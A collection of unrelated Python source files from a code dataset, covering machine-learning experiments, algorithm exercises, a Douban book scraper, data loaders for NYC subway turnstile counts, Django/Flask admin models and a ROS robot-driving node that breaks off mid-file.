+{"seq_id":"351148340","text":"import tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D\nfrom tensorflow import keras\nimport numpy as np\nimport time\nimport os\nimport datetime\n\nX = np.load('/content/drive/MyDrive/X.npy', 'r')\ny = np.load('/content/drive/MyDrive/y.npy', 'r')\n\nconv_layers = [3, 4, 5]\nconv_nodes = [256, 512]\nlin_layers = [0, 1, 2]\nlin_nodes = [16, 32]\nbatch_sizes = [256]\nepochs = 30\n# 0.0005 got 33.36 loss, up to 88% acc\n# 0.0002 val_loss: 0.3156 - val_accuracy: 0.8682\n# 0.0005 val_loss: 0.2902 - val_accuracy: 0.8726\nlearning_rate = 0.0005\nX = X/255.0\n\nfor conv_layer in conv_layers:\n model = Sequential()\n for conv_node in conv_nodes:\n for lin_layer in lin_layers:\n for lin_node in lin_nodes:\n for batch_size in batch_sizes:\n for layer in range(conv_layer):\n model.add(Conv2D(conv_node, (2,2), input_shape = X.shape[1:]))\n model.add(Activation('relu'))\n if layer < 2:\n model.add(MaxPooling2D(pool_size=(2,2)))\n model.add(Flatten())\n for layer2 in range(lin_layer):\n model.add(Dense(lin_node))\n model.add(Activation('relu'))\n\n # output layer\n model.add(Dense(1))\n model.add(Activation('sigmoid'))\n model_runtime = int(time.time())\n model_name = (f'CatSpot-Conv:{conv_layer}*{conv_node}-Linear:{lin_layer}*{lin_node}-@{model_runtime}')\n\n opt = keras.optimizers.Adam(learning_rate=learning_rate)\n\n model.compile(loss='binary_crossentropy',optimizer=opt ,metrics=['accuracy'])\n\n print('\\nConv_layers:', conv_layer, '\\nConv_nodes:', conv_node, '\\nBatch_size: ', batch_size, '\\nRuntime:', model_runtime)\n # '\\nLin_layers:', lin_layer, '\\nLin_nodes:', lin_node, \n\n logdir = os.path.join(\"/content/drive/MyDrive/logs\", model_name)\n\n tensorboard_callback = tf.keras.callbacks.TensorBoard(logdir, histogram_freq=1)\n\n model_struct = f'CatSpot-Conv:{conv_layer}*{conv_node}-Linear:{lin_layer}*{lin_node}'\n\n checkpoint_filepath = '/content/drive/MyDrive/checkpoints/' + model_struct + '-V_Loss:{val_loss:.4f}-V_Acc:{val_accuracy:.4f}'\n \n model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\n filepath=checkpoint_filepath,\n save_weights_only=False,\n monitor='val_loss',\n mode='min',\n save_best_only=True)\n\n early_stop_callback = tf.keras.callbacks.EarlyStopping(\n monitor='val_loss', min_delta=0, patience=3, verbose=0,\n mode='auto', baseline=None)\n\n callbacks_list = [tensorboard_callback,\n early_stop_callback]\n\n model.fit(X, y, batch_size=batch_size, epochs=epochs, validation_split=0.1, callbacks=[callbacks_list])","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"630254633","text":"# rehashing will hash the original elements\n# again in a new hash table O(n)\nclass ListNode(object):\n\n\tdef __init__(self, val, next = None):\n\t\tself.val = val\n\t\tself.next = next\n\n\nclass Solution:\n\tdef rehashing(self, hashTable):\n\t\tsize = len(hashTable)\n\t\tif size <= 0:\n\t\t\treturn hashTable\n\n\t\tdouble = size * 2\n\t\tnewTable = [None] * double\n\n\t\t# traverse original table\n\t\tfor i in range(size):\n\t\t\twhile hashTable[i]:\n\t\t\t\tnewId = hashTable[i].val % double\n\t\t\t\tif newTable[newId] is None:\n\t\t\t\t\tnewTable[newId] = ListNode(hashTable[i].val)\n\t\t\t\telse:\n\t\t\t\t\t# container the first node\n\t\t\t\t\tdummy = newTable[newId]\n\t\t\t\t\twhile dummy.next:\n\t\t\t\t\t\tdummy = dummy.next\n\t\t\t\t\tdummy.next = ListNode(hashTable[i].val)\n\t\t\t\t\t# O(n)\n\t\treturn newTable\n","sub_path":"Data_Structure_Combo/Hash_Table/rehashing.py","file_name":"rehashing.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"503181715","text":"import numpy as np\nimport math\n\n\ndef step_1_and_2(matrix):\n dim = matrix.shape[0]\n cur_mat = matrix.copy()\n\n for row_num in range(dim):\n cur_mat[row_num] -= np.min(cur_mat[row_num])\n\n for col_num in range(dim):\n cur_mat[:, col_num] -= np.min(cur_mat[:, col_num])\n\n return cur_mat,dim\n\n\ndef step_3_helper_1(zeroes_mat, marked_zeroes):\n #get row/col with minimum number of zeroes [number of zeroes, index of row/col]\n min_row = [math.inf, -1]\n\n for row_idx in range(zeroes_mat.shape[0]):\n if 0 < np.sum(zeroes_mat[row_idx]) < min_row[0]:\n min_row = [np.sum(zeroes_mat[row_idx]), row_idx]\n # print(zeroes_mat)\n\n #get marked_zero location and mark corresponding row/col as False\n zero_idx = np.where(zeroes_mat[min_row[1]])[0][0]\n marked_zeroes.append((min_row[1], zero_idx))\n zeroes_mat[min_row[1], :] = False\n zeroes_mat[:, zero_idx] = False\n\n\ndef step_3_helper_2(zeroes_mat, marked_zeroes):\n #mark every single row/col with False and get zeroes locations\n while True in zeroes_mat:\n step_3_helper_1(zeroes_mat, marked_zeroes)\n\n\ndef step_3(matrix):\n cur_mat = matrix\n zero_bool_mat = (cur_mat == 0)\n zeroes_mat_cpy = zero_bool_mat.copy()\n marked_zeroes = []\n step_3_helper_2(zeroes_mat_cpy, marked_zeroes)\n\n #get indexes of rows and cols with marked zeroes\n marked_zeroes_rows = []\n marked_zeroes_cols = []\n for i in range(len(marked_zeroes)):\n marked_zeroes_rows.append(marked_zeroes[i][0])\n marked_zeroes_cols.append(marked_zeroes[i][1])\n\n #\n non_marked_row = list(set(range(cur_mat.shape[0])) - set(marked_zeroes_rows))\n marked_cols = []\n\n flag = True\n while flag:\n flag = False\n for i in range(len(non_marked_row)):\n row_arr = zero_bool_mat[non_marked_row[i], :]\n for j in range(len(row_arr)):\n if row_arr[j] == True and j not in marked_cols:\n marked_cols.append(j)\n flag = True\n\n for row_num, col_num in marked_zeroes:\n if row_num not in non_marked_row and col_num in marked_cols:\n non_marked_row.append(row_num)\n flag = True\n\n marked_rows = list(set(range(cur_mat.shape[0])) - set(non_marked_row))\n return marked_zeroes, marked_rows, marked_cols\n # for j in range(row_arr.shape[0])\n\n\ndef step_4(matrix,cover_rows, cover_cols):\n cur_mat = matrix\n non_zero_elems = []\n\n for row in range(len(cur_mat)):\n if row not in cover_rows:\n for i in range(len(cur_mat[row])):\n if i not in cover_cols:\n non_zero_elems.append(cur_mat[row][i])\n min_num = min(non_zero_elems)\n\n for row in range(len(cur_mat)):\n if row not in cover_rows:\n for i in range(len(cur_mat[row])):\n if i not in cover_cols:\n cur_mat[row, i] -= min_num\n\n for i in range(len(cover_rows)):\n for j in range(len(cover_cols)):\n cur_mat[cover_rows[i], cover_cols[j]] += min_num\n\n return cur_mat\n\n\ndef hungarian_matrix_method(matrix):\n mat, dim = step_1_and_2(matrix)\n zero_count = 0\n\n while zero_count < dim:\n res_pos, marked_rows, marked_cols = step_3(mat)\n zero_count = len(marked_cols) + len(marked_rows)\n\n if zero_count < dim:\n mat = step_4(mat, marked_rows, marked_cols)\n\n return res_pos\n\n\ndef calc_minimum_cost(matrix, positions):\n res = 0\n ans_mat = np.zeros((matrix.shape[0], matrix.shape[1]), dtype=int)\n for i in range(len(positions)):\n res += matrix[positions[i][0],positions[i][1]]\n ans_mat[positions[i][0], positions[i][1]] = matrix[positions[i][0], positions[i][1]]\n return res, ans_mat\n\n\nif __name__ == '__main__':\n mat = np.array([[5,5,20,2,6],\n [7,4,2,3,4],\n [9,3,5,15,3],\n [7,2,6,7,2],\n [6,5,7,9,1]])\n print(mat)\n match = hungarian_matrix_method(mat.copy())\n print(match)\n # print(match)\n # print('##########################')\n ans,ans_mat = calc_minimum_cost(mat, match)\n print(ans)\n print(ans_mat)\n\n\n","sub_path":"stable_marriage_and_assignment/hungarian_method_matrix.py","file_name":"hungarian_method_matrix.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"32261252","text":"\"\"\"\n@author: jtahstu\n@contact: root@jtahstu.com\n@site: http://www.jtahstu.com\n@time: 2018/1/15 11:14\n\"\"\"\nimport string\nimport random\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\nimport time\nimport pymongo\nfrom datetime import datetime\n\ndb = MongoClient('mongodb://jtahstu:jtahstu@127.0.0.1:27017/').iApp\n#db = MongoClient('mongodb://127.0.0.1:27017/').iApp\n\n\ndef getHtml(url):\n salt = ''.join(random.sample(string.ascii_letters + string.digits, 11))\n headers = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7',\n 'Connection': 'keep-alive',\n 'Cookie': 'bid=' + salt ,\n 'DNT': '1',\n 'Host': 'book.douban.com',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/60.0.3239.132 Safari/527.36'\n }\n # proxies = [\n # \"101.53.101.172:9999\",\"171.117.93.229:8118\",\"119.251.60.37:21387\",\"58.246.194.70:8080\",\n # \"115.173.218.224:9797\",\"110.77.0.70:80\"\n # ]\n html = requests.get(url, headers=headers)\n if html.status_code != 200:\n print('status_code is %d' % html.status_code)\n quit(0)\n return html.text\n\n\ndef getDateTime():\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\n\n\ndef getTagsFromUrl():\n url = \"https://book.douban.com/tag/?icn=index-nav\"\n html = getHtml(url)\n soup = BeautifulSoup(html, \"lxml\") # 解析网页信息\n tags = soup.select(\"#content > div > div.article > div > div > table > tbody > tr > td > a\")\n urls = []\n for tag in tags:\n tag = tag.get_text() # 将列表中的每一个标签信息提取出来\n url = \"https://book.douban.com/tag/\" + str(tag)\n urls.append(url)\n for index, url in enumerate(urls):\n item = {\n 'id': index + 1,\n 'tag_url': url,\n 'tag_name': url.replace('https://book.douban.com/tag/', ''),\n 'status': 1,\n 'updated_at': getDateTime(),\n 'crawl_count': 0,\n 'page': 0\n }\n res = db.douban_tag.insert_one(item)\n print(res)\n # return urls\n\n\ndef getTagsFromDB():\n return db.db_book_tag.find({'status': 1}) \\\n .sort([('id', pymongo.ASCENDING)])\n\n\ndef getSubjectId(url, page):\n url += '?start=' + str((page - 1) * 20) + '&type=T'\n print(url)\n html = getHtml(url)\n soup = BeautifulSoup(html, \"html.parser\") # 解析网页信息\n subjects = soup.select(\"#subject_list > ul.subject-list > li.subject-item > div.info > h2 > a\")\n if len(subjects) == 0:\n return []\n ids = []\n for subject in subjects:\n href = subject.get('href')\n id = href.replace('https://book.douban.com/subject/', '').replace('/', '')\n ids.append(id)\n return ids\n\n\ndef saveId(tag, page, ids):\n tag_id = tag['id']\n for id in ids:\n item = {\n 'tag_id': tag_id,\n 'subject_id': id\n }\n db.db_book_id.insert_one(item)\n tag['updated_at'] = getDateTime()\n if len(ids) > 0:\n tag['page'] = page\n updateTag(tag)\n\n\ndef setStatus(tag):\n tag['status'] = 0\n updateTag(tag)\n\n\ndef updateTag(tag):\n db.db_book_tag.update({'_id': tag['_id']}, {\"$set\": tag})\n\n\nif __name__ == \"__main__\":\n getPages = 100\n tags = getTagsFromDB()\n for tag in tags:\n print(tag)\n if tag['page'] == 1:\n tag['page'] = 0\n for page in range(tag['page'] + 1, getPages + 1):\n ids = getSubjectId(tag['tag_url'], page)\n if len(ids) == 0:\n setStatus(tag)\n break\n print(ids)\n saveId(tag, page, ids)\n time.sleep(int(random.uniform(25, 35)))\n","sub_path":"Projects/DoubanBook/DoubanBook_v1/getSubjectId.py","file_name":"getSubjectId.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"96305602","text":"import sys\nfread = open('static/newtest2-1.svg','r')\nfwrite = open('static/test4.svg','w')\n\nclipped = False\nchanged = False\nfor line in fread:\n if not clipped and line.find('clip-path') > -1:\n \tclipped = True\n \tfwrite.write(line)\n elif clipped and not changed and line.find(' -1:\n \tbars = []\n \t\n \tmindex = line.find('M ')\n \tzindex = line.find(' Z')\n \twhile mindex > -1 and zindex > mindex:\n \t\tbars.append(line[mindex:zindex+2])\n \t\tline = line[zindex+2:]\n \t\tmindex = line.find('M ')\n \t\tzindex = line.find(' Z')\n \tchanged = True\n \tnewline = ''\n \ti = 0\n \tfor bar in bars:\n \t\tnewline += ''\n \t\ti+=1\n \tfwrite.write(newline)\n elif line.find('') > -1:\n \tfwrite.write('\\n')\n else:\n \tfwrite.write(line)\n\n\nfread.close()\n\n\n\nfwrite.close()\n","sub_path":"static/chartstxt/pythonscript.py","file_name":"pythonscript.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"102679118","text":"import numpy as np\nimport sklearn.metrics as metrics\n\ndef knn(train, train_y, y_name, test, test_y, k):\n final = []\n dist = []\n \n for i in test:\n result1 = []\n for j in train:\n result1.append(np.sum(abs(i-j)))\n \n dist.append(result1)\n # 100x60000의 거리 구함\n\n \n for i in range(len(dist)):\n kindex = np.argsort(dist[i]) # 가까운 거리순으로 정렬후 원래 인덱스 반환\n kindex = kindex[:k]\n # 가까운 k개만 저장\n # 0 < kindex[i] < 60000\n W = [0]*10\n for j in range(k): \n W[train_y[kindex[j]]] += 1 / (1 + dist[i][kindex[j]])\n # 가까운점의 레이블에 가까운점의 가중치를 합산한것을 저장\n final.append(W.index(max(W))) # 가장 많이 나온 레이블 저장\n\n\n\n # k개중에 가장 투표를 많이받은것 고름\n computed, real = [],[]\n for i in range(len(test)):\n computed.append(final[i])\n real.append(int(y_name[test_y[i]]))\n print(\"{} {}\"\n .format(final[i], y_name[test_y[i]]))\n print(\"accuracy = {}\".format(metrics.accuracy_score(computed, real)))","sub_path":"KNN-mnist/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"647140820","text":"import wx\n\nfrom .. import config\n\nfrom .manager import WindowManager\n\n\n\nclass SciFrame(wx.Frame):\n\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.SetMinClientSize(self.GetClientSize())\n\t\tself.start()\n\n\n\tdef set_config(self, config):\n\t\tself.config = config\n\n\n\tdef start(self):\n\t\tself.set_config(config.Config())\n\t\tself.window_manager = WindowManager(self, self.config)\n\n\t\tself.sizer = wx.BoxSizer(wx.VERTICAL)\n\t\tself.window_manager.init_windows()\n\t\tself.SetSizer(self.sizer)\n\t\tself.Layout()","sub_path":"scienv/core/frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"215348441","text":"\"\"\"Test the transport limited fluvial module.\n\nSimple test to ensure transport limited fluvial module runs and gives same\nanswers it always has.\n\"\"\"\nimport os\n\nfrom six.moves import range\n\nimport numpy as np\nfrom numpy.testing import assert_array_equal, assert_array_almost_equal\n\nfrom landlab import RasterModelGrid\nfrom landlab.components.flow_routing import FlowRouter\nfrom landlab.components.transport_limited_fluvial.tl_fluvial_monodirectional \\\n import TransportLimitedEroder\nfrom landlab import ModelParameterDictionary\n\n\n_THIS_DIR = os.path.abspath(os.path.dirname(__file__))\n\n\ndef test_tl_fluvial():\n input_file = os.path.join(_THIS_DIR, 'stream_power_params_ideal.txt')\n inputs = ModelParameterDictionary(input_file)\n nrows = inputs.read_int('nrows')\n ncols = inputs.read_int('ncols')\n dx = inputs.read_float('dx')\n leftmost_elev = inputs.read_float('leftmost_elevation')\n initial_slope = inputs.read_float('initial_slope')\n uplift_rate = inputs.read_float('uplift_rate')\n\n runtime = inputs.read_float('total_time')\n dt = inputs.read_float('dt')\n\n nt = int(runtime // dt)\n uplift_per_step = uplift_rate * dt\n\n mg = RasterModelGrid(nrows, ncols, dx)\n mg.add_zeros('node', 'topographic__elevation')\n z = np.loadtxt(os.path.join(_THIS_DIR, 'tl_init.txt'))\n mg['node']['topographic__elevation'] = z\n\n mg.set_closed_boundaries_at_grid_edges(True, False, True, False)\n mg.set_fixed_value_boundaries_at_grid_edges(\n False, True, False, True, value_of='topographic__elevation')\n\n fr = FlowRouter(mg)\n tl = TransportLimitedEroder(mg, input_file)\n\n for i in range(nt):\n mg.at_node['topographic__elevation'][mg.core_nodes] += uplift_per_step\n mg = fr.route_flow()\n mg, _ = tl.erode(mg, dt, stability_condition='loose')\n\n z_tg = np.loadtxt(os.path.join(_THIS_DIR, 'tlz_tg.txt'))\n assert_array_almost_equal(mg.at_node['topographic__elevation'], z_tg)\n","sub_path":"landlab/components/transport_limited_fluvial/tests/test_tl_fluvial.py","file_name":"test_tl_fluvial.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"474371737","text":"\n\nfrom xai.brain.wordbase.nouns._elective import _ELECTIVE\n\n#calss header\nclass _ELECTIVES(_ELECTIVE, ):\n\tdef __init__(self,): \n\t\t_ELECTIVE.__init__(self)\n\t\tself.name = \"ELECTIVES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"elective\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_electives.py","file_name":"_electives.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"541417577","text":"from flask_appbuilder import Model\nfrom sqlalchemy import Column, Integer, String, ForeignKey, Date, Boolean,Float\nfrom sqlalchemy.orm import relationship\nfrom app.unidadmedidas.models import Unidadmedida\nfrom app import db\n\nclass Sustrato(db.Model):\n idSustrato = db.Column(db.Integer, primary_key=True)\n nombreSustrato = db.Column(db.String(100), nullable=True)\n descrpcionSustrato = db.Column(db.String(100), nullable=True)\n idUnidadmedida = db.Column(db.Integer, ForeignKey(\"unidadmedida.idUnidadmedida\"))\n unidadmedida = db.relationship(\"Unidadmedida\")\n \n def __init__(self,nombreSustrato,descrpcionSustrato,idUnidadmedida,unidadmedida):\n self.nombreSustrato=nombreSustrato\n self.descrpcionSustrato=descrpcionSustrato\n self.idUnidadmedida=idUnidadmedida\n self.unidadmedida=unidadmedida\n\n def __repr__(self):\n return str(self.nombreSustrato)\n","sub_path":"app/sustratos/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"435984798","text":"\"\"\"\nVectorMaths.py should include all methods used to create and manipulate vectors\nduring the process of calculating the cosine similarity between documents.\n\nDesigned and created by Owen Daynes.\n\n\"\"\"\n\nimport math\n\nfrom TextProcessing import calculate_idf\n\n\"\"\"\nTakes two vectors\nReturns dot product of vectors\n\"\"\"\n\n\ndef dot_product(vector1, vector2):\n if len(vector1) != len(vector2):\n return None\n\n result = 0\n for i in range(0, len(vector1)):\n result += vector1[i] * vector2[i]\n return result\n\n\n\"\"\"\nTakes a vector as a parameter\nReturns the euclidean norm of the vector\n\"\"\"\n\n\ndef calculate_norm(vector):\n\n norm = 0\n for element in vector:\n norm += element**2\n return math.sqrt(norm)\n\n\n\"\"\"\nTakes two document vectors\nReturns cosine similarity between vectors\n\"\"\"\n\n\ndef cosine_similarity(document1, document2):\n dot = dot_product(document1, document2)\n\n d1 = math.sqrt(dot_product(document1, document1))\n d2 = math.sqrt(dot_product(document2, document2))\n\n denom = d1 * d2\n\n return dot / denom\n","sub_path":"VectorMaths.py","file_name":"VectorMaths.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"62847440","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\" New York City MTA Turnstile Module\n\n.. moduleauthor:: Timothy Helton \n\"\"\"\n\nimport glob\nimport logging\nimport os\nimport os.path as osp\nimport re\n\nimport pandas as pd\nimport requests\n\n\nlog_format = ('%(asctime)s %(levelname)8s -> %(name)s <- '\n '(line: %(lineno)d) %(message)s\\n')\ndate_format = '%m/%d/%Y %I:%M:%S'\nlogging.basicConfig(format=log_format, datefmt=date_format,\n level=logging.INFO)\n\n\nclass TurnstileData:\n \"\"\"Methods related to acquiring New York City MTA subway turnstile data.\n \n :Attributes:\n \n **data**: *pandas.DataFrame* NYC turnstile data\n **data_dir**: *str* path to the local data directory\n **data_files**: *list* names of all available data files to download from \\\n the url attribute\n **request**: *requests.models.Response* response object from scraping \\\n the url attribute\n **station_daily**: *pandas.DataFrame* sum of entries and exits by station\n **turnstile_daily**: *pandas.DataFrame* sum of entries and exits by \\\n turnstile\n **url**: *str* web address for turnstile data\n \"\"\"\n def __init__(self):\n self.url = 'http://web.mta.info/developers/turnstile.html'\n self.request = requests.get(self.url)\n self.data = None\n self.data_dir = osp.realpath(osp.join(osp.dirname(__file__), '..',\n 'data', 'nyc_mta_turnstile'))\n self.data_files = None\n\n self.get_data()\n\n self._turnstile_daily = None\n self._station_daily = None\n\n @property\n def station_daily(self):\n self.get_station_daily()\n return self._station_daily\n\n @property\n def turnstile_daily(self):\n self.get_turnstile_daily()\n return self._turnstile_daily\n\n def __repr__(self):\n return f'TurnstileData()'\n\n def available_data_files(self):\n \"\"\"Find all available turnstile data files to retrieve.\"\"\"\n self.data_files = re.findall(pattern=r'href=\"(data.*?.txt)\"',\n string=self.request.text)\n self.data_files = [f'http://web.mta.info/developers/{x}'\n for x in self.data_files]\n\n def get_data(self):\n \"\"\"Retrieve data from raw files.\"\"\"\n raw_files = glob.glob(osp.join(self.data_dir, '*'))\n frames = (pd.read_csv(x) for x in raw_files)\n self.data = pd.concat(frames, ignore_index=True)\n self.data.columns = [x.strip().lower().replace('/', '_')\n for x in self.data.columns]\n\n def get_turnstile_daily(self):\n \"\"\"Filter data to find daily entries and exits per turnstile.\"\"\"\n mask = ['c_a', 'unit', 'station', 'scp',\n pd.Series([x.date() for x in self.data.time_stamp],\n name='date')]\n self._turnstile_daily = self.data.groupby(mask)['entries',\n 'exits'].sum()\n\n def get_station_daily(self, control_area=False, unit=False):\n \"\"\"Filter data to find entries and exits per station.\n \n .. note:: Data will always be filtered by station, date, week and \\ \n weekday.\n \n :param bool control_area: if True the data will be additionally \\ \n filtered based on control area\n :param bool unit: if True data will be additionally filtered based \\ \n on unit\n \"\"\"\n mask = ['station',\n pd.Series([x.date() for x in self.data.time_stamp],\n name='date'),\n pd.Series([x.week for x in self.data.time_stamp],\n name='week'),\n pd.Series([x.weekday() for x in self.data.time_stamp],\n name='weekday')]\n\n if unit:\n mask = ['unit'] + mask\n\n if control_area:\n mask = ['c_a'] + mask\n\n self._station_daily = self.data.groupby(mask)['entries', 'exits'].sum()\n\n def get_time_stamp(self):\n \"\"\"Add Series to data that is date_time object.\"\"\"\n time_stamp = pd.to_datetime(self.data.date.str.cat(self.data.time,\n sep=' '))\n self.data['time_stamp'] = time_stamp\n\n def write_data_files(self, qty=None, overwrite=False):\n \"\"\"Retrieve and write requested data files to the data directory.\n \n :param int qty: number of records to retrieve beginning with the most \\\n recent data (default of None will retrieve all available data \\\n files)\n :param bool overwrite: if True existing files will be overwritten \\\n with new data\n \"\"\"\n os.makedirs(self.data_dir, exist_ok=True)\n\n if self.data_files is None:\n self.available_data_files()\n\n if qty is not None:\n retrieve = self.data_files[:qty]\n else:\n retrieve = self.data_files\n\n remaining_files = len(retrieve)\n for path in retrieve:\n file_name = path.split('_')[-1]\n file_path = osp.join(self.data_dir, file_name)\n\n if osp.isfile(file_path) and not overwrite:\n logging.info(f'Using Existing File: {file_name}')\n continue\n\n logging.info(f'Scraping: {path}')\n r = requests.get(path)\n if r.status_code >= 400:\n logging.error(f'Error in File: {path}')\n continue\n\n with open(file_path, 'w') as f:\n f.write(r.text)\n remaining_files -= 1\n logging.info(f'Remaining Files: {remaining_files}\\n\\n')\n","sub_path":"k2datascience/nyc_mta.py","file_name":"nyc_mta.py","file_ext":"py","file_size_in_byte":5717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"18149639","text":"import threading\nimport time\nimport multiprocessing\n\nglobals_num = 0\n\nlock_thread = threading.RLock()\nlock_process = multiprocessing.RLock()\n\n\ndef self_add_thread():\n lock_thread.acquire() # 获得锁\n for ths in range(3):\n global globals_num\n globals_num += 1\n print(str(globals_num) + ' ' + time.ctime() + ' ' + threading.current_thread().getName())\n lock_thread.release() # 释放锁\n print(60*'=')\n\n\ndef self_add_process():\n lock_process.acquire() # 获得锁\n for pros in range(3):\n global globals_num\n globals_num += 1\n time.sleep(1)\n print(str(globals_num) + ' ' + time.ctime() + ' ' + str(p.pid))\n lock_process.release() # 释放锁\n print(60*'*')\n\n\nfor i in range(3):\n t = threading.Thread(target=self_add_thread)\n t.start()\nfor j in range(3):\n t.join()\n\nfor a in range(3):\n p = multiprocessing.Process(target=self_add_process)\n p.start()\nfor b in range(3):\n p.join()\n\n","sub_path":"python/threads_lock.py","file_name":"threads_lock.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"496709725","text":"# -*- coding: utf-8 -*-\nfrom pagedown.widgets import AdminPagedownWidget\nfrom django.db import models\nfrom django.contrib import admin\nfrom pages.models import Page\nfrom sorl.thumbnail import default\n\nADMIN_THUMBS_SIZE = '100x100'\n\n\nclass PageAdmin(admin.ModelAdmin):\n def image_display(self, obj):\n if obj.poster:\n thumb = default.backend.get_thumbnail(\n obj.poster, ADMIN_THUMBS_SIZE\n )\n return '
' % (thumb.url, thumb.width)\n else:\n return 'No Image'\n image_display.allow_tags = True\n formfield_overrides = {\n models.TextField: {'widget': AdminPagedownWidget(show_preview=False)},\n }\n fieldsets = (\n ('Additionally', {\n 'classes': ('collapse',),\n 'fields': ('slug',)\n }),\n ('Content', {\n 'fields': ('status', 'in_menu', 'title', 'poster', 'content')\n }),\n )\n list_display = ('title', 'image_display', 'status')\n readonly_fields = ('slug',)\n list_per_page = 15\n\nadmin.site.register(Page, PageAdmin)\n","sub_path":"src/pages/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"134032629","text":"from functools import lru_cache\nfrom typing import List\nfrom collections import deque\n\n\nclass Solution:\n def allPathsSourceTarget(self, graph: List[List[int]]) -> List[List[int]]:\n\n target = len(graph) - 1\n results = []\n\n def backtrack(currNode, path):\n # if we reach the target, no need to explore further.\n if currNode == target:\n results.append(list(path))\n return\n # explore the neighbor nodes one after another.\n for nextNode in graph[currNode]:\n path.append(nextNode)\n backtrack(nextNode, path)\n path.pop()\n\n # kick of the backtracking, starting from the source node (0).\n path = deque([0])\n backtrack(0, path)\n\n return results\n\n \"\"\"\n For DP Solution\n nextNode∈neighbors(currNode),allPathsToTarget(currNode)={currNode+allPathsToTarget(nextNode)}\n \"\"\"\n\n def allPathsSourceTargetV2(self, graph: List[List[int]]) -> List[List[int]]:\n\n target = len(graph) - 1\n\n # apply the memoization\n @lru_cache(maxsize=None)\n def allPathsToTarget(currNode):\n if currNode == target:\n return [[target]]\n\n results = []\n for nextNode in graph[currNode]:\n for path in allPathsToTarget(nextNode):\n results.append([currNode] + path)\n\n return results\n\n return allPathsToTarget(0)\n\n\nif __name__ == \"__main__\":\n graph = [[1,2],[3],[3],[]]\n allpaths = Solution()\n print(allpaths.allPathsSourceTarget(graph=graph))\n print(allpaths.allPathsSourceTargetV2(graph))","sub_path":"Algorithms/graphs/AllPathsSourceTarget.py","file_name":"AllPathsSourceTarget.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"174135168","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom std_msgs.msg import Int8MultiArray # this is the same as Bump right?\nfrom nav_msgs.msg import Odometry\nfrom tf.transformations import euler_from_quaternion, rotation_matrix, quaternion_from_matrix\nimport time\nfrom geometry_msgs.msg import Twist, Vector3\nimport math\n\n\nclass DriveSquare():\n def __init__(self):\n rospy.init_node('drive_square')\n self.pub = rospy.Publisher('cmd_vel', Twist, queue_size=10)\n rospy.Subscriber('/odom', Odometry, self.odom_callback)\n self.heading = None\n self.x = None\n self.y = None\n self.targ_x = 0.0\n self.targ_y = 0.0\n self.targ_heading = 0.0\n self.vel = 0.2\n self.ang_vel = 0.2\n self.pos_reached = False\n self.angle_reached = False\n\n self.state = self.draw_line\n\n def odom_callback(self, msg):\n pos = msg.pose.pose.position\n orient = msg.pose.pose.orientation\n orientation_tuple = (orient.x, orient.y, orient.z, orient.w)\n angles = euler_from_quaternion(orientation_tuple)\n self.heading = angles[2]\n self.x = pos.x\n self.y = pos.y\n\n def calc_target_position(self):\n curr_x = self.x\n curr_y = self.y\n if 0 < self.heading <= .5 * math.pi:\n self.targ_x = math.cos(self.heading) + curr_x\n self.targ_y = math.sin(self.heading) + curr_y\n if math.pi*.5 < self.heading <= math.pi:\n self.targ_x = -1*math.cos(self.heading) + curr_x\n self.targ_y = math.sin(self.heading) + 